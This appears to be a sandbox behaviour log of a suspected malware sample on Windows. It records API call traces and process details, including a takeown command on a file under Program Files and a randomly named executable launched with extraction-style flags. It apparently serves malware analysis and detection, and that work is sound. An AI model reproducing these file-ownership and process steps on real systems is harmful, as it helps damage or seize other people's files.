[0100.428] SetConsoleInputExeNameW () returned 0x1 [0100.428] GetConsoleOutputCP () returned 0x1b5 [0100.428] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0100.428] SetThreadUILanguage (LangId=0x0) returned 0x409 [0100.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3af084, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0100.429] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0100.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0100.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0100.429] GetProcessHeap () returned 0x170000 [0100.429] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1849b8 | out: hHeap=0x170000) returned 1 [0100.429] GetProcessHeap () returned 0x170000 [0100.429] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184888 | out: hHeap=0x170000) returned 1 [0100.429] GetProcessHeap () returned 0x170000 [0100.429] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184760 | out: hHeap=0x170000) returned 1 [0100.429] GetProcessHeap () returned 0x170000 [0100.429] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1846e8 | out: hHeap=0x170000) returned 1 [0100.429] GetProcessHeap () returned 0x170000 [0100.429] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x192c40 | out: hHeap=0x170000) returned 1 [0100.429] GetProcessHeap () returned 0x170000 [0100.429] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1844d0 | out: hHeap=0x170000) returned 1 [0100.429] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b70 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b28 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170de8 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184460 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170e00 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184428 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1843c8 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184398 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184338 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1842d8 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184258 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184200 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1841e0 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184190 | out: hHeap=0x170000) returned 1 [0100.430] GetProcessHeap () returned 0x170000 [0100.430] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171258 | out: hHeap=0x170000) returned 1 [0100.430] _get_osfhandle (_FileHandle=3) returned 0x74 [0100.430] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0100.430] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af068, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3af068*=0x0, lpOverlapped=0x0) returned 1 [0100.431] GetLastError () returned 0x0 [0100.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0100.431] GetFileType (hFile=0x74) returned 0x1 [0100.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0100.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0100.431] GetProcessHeap () returned 0x170000 [0100.431] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x194b28 [0100.431] GetProcessHeap () returned 0x170000 [0100.431] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b28 | out: hHeap=0x170000) returned 1 [0100.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0100.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0100.431] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af04c, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3af04c*=0x0, lpOverlapped=0x0) returned 1 [0100.431] GetLastError () returned 0x0 [0100.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0100.431] GetFileType (hFile=0x74) returned 0x1 [0100.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0100.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0100.431] GetProcessHeap () returned 0x170000 [0100.431] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x194b28 [0100.431] GetProcessHeap () returned 0x170000 [0100.431] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b28 | out: hHeap=0x170000) returned 1 [0100.432] longjmp () [0100.432] _tell (_FileHandle=3) returned 226 [0100.432] _close (_FileHandle=3) returned 0 [0100.432] CmdBatNotification () returned 0x0 [0100.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.432] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0100.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.432] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0100.433] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.433] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0100.433] SetConsoleInputExeNameW () returned 0x1 [0100.433] GetConsoleOutputCP () returned 0x1b5 [0100.433] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0100.433] SetThreadUILanguage (LangId=0x0) returned 0x409 [0100.433] exit (_Code=0) Process: id = "138" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2e99a000" os_pid = "0xc30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 681 os_tid = 0xc34 Thread: id = 684 os_tid = 0xc44 Thread: id = 685 os_tid = 0xc48 Process: id = "139" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x51212000" os_pid = "0xc3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "131" os_parent_pid = "0x5dc" cmd_line = "takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 683 os_tid = 0xc40 Thread: id = 687 os_tid = 0xc54 Process: id = "140" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x39f15000" os_pid = "0xc4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x594" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 686 os_tid = 0xc50 [0076.672] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0076.672] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0076.672] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0076.672] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0076.672] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0076.673] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0076.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0077.610] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0077.611] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0077.612] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0077.613] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0077.614] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0077.614] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0077.614] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0077.614] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0077.614] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0077.614] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0077.614] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0077.614] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0077.614] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0077.614] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0077.614] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0077.614] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0077.614] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0077.614] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0077.615] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0077.615] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0077.615] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0077.615] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0077.615] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0077.615] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0077.615] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0077.615] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0077.615] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0077.615] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0077.615] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0077.615] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0077.615] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0077.615] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0077.616] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0077.616] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0077.616] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0077.616] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0077.616] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0077.616] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0077.616] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0077.617] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0077.617] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0077.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd2a0b560, dwHighDateTime=0x1d5d06a)) [0077.617] GetCurrentThreadId () returned 0xc50 [0077.617] GetCurrentProcessId () returned 0xc4c [0077.617] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=21956961822) returned 1 [0077.618] GetProcessHeap () returned 0x570000 [0077.618] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0077.618] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0077.618] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0077.618] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0077.618] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0077.619] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0077.620] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0077.621] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0077.621] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3bc) returned 0x5870a0 [0077.621] GetCurrentThreadId () returned 0xc50 [0077.621] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x587468 [0077.621] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x587488 [0077.621] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xcfc9c3b1, hStdError=0x0)) [0077.621] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0077.621] GetFileType (hFile=0x3) returned 0x2 [0077.622] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0077.622] GetFileType (hFile=0x7) returned 0x2 [0077.622] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0077.622] GetFileType (hFile=0xb) returned 0x2 [0077.623] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0077.623] GetEnvironmentStringsW () returned 0x587c90* [0077.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 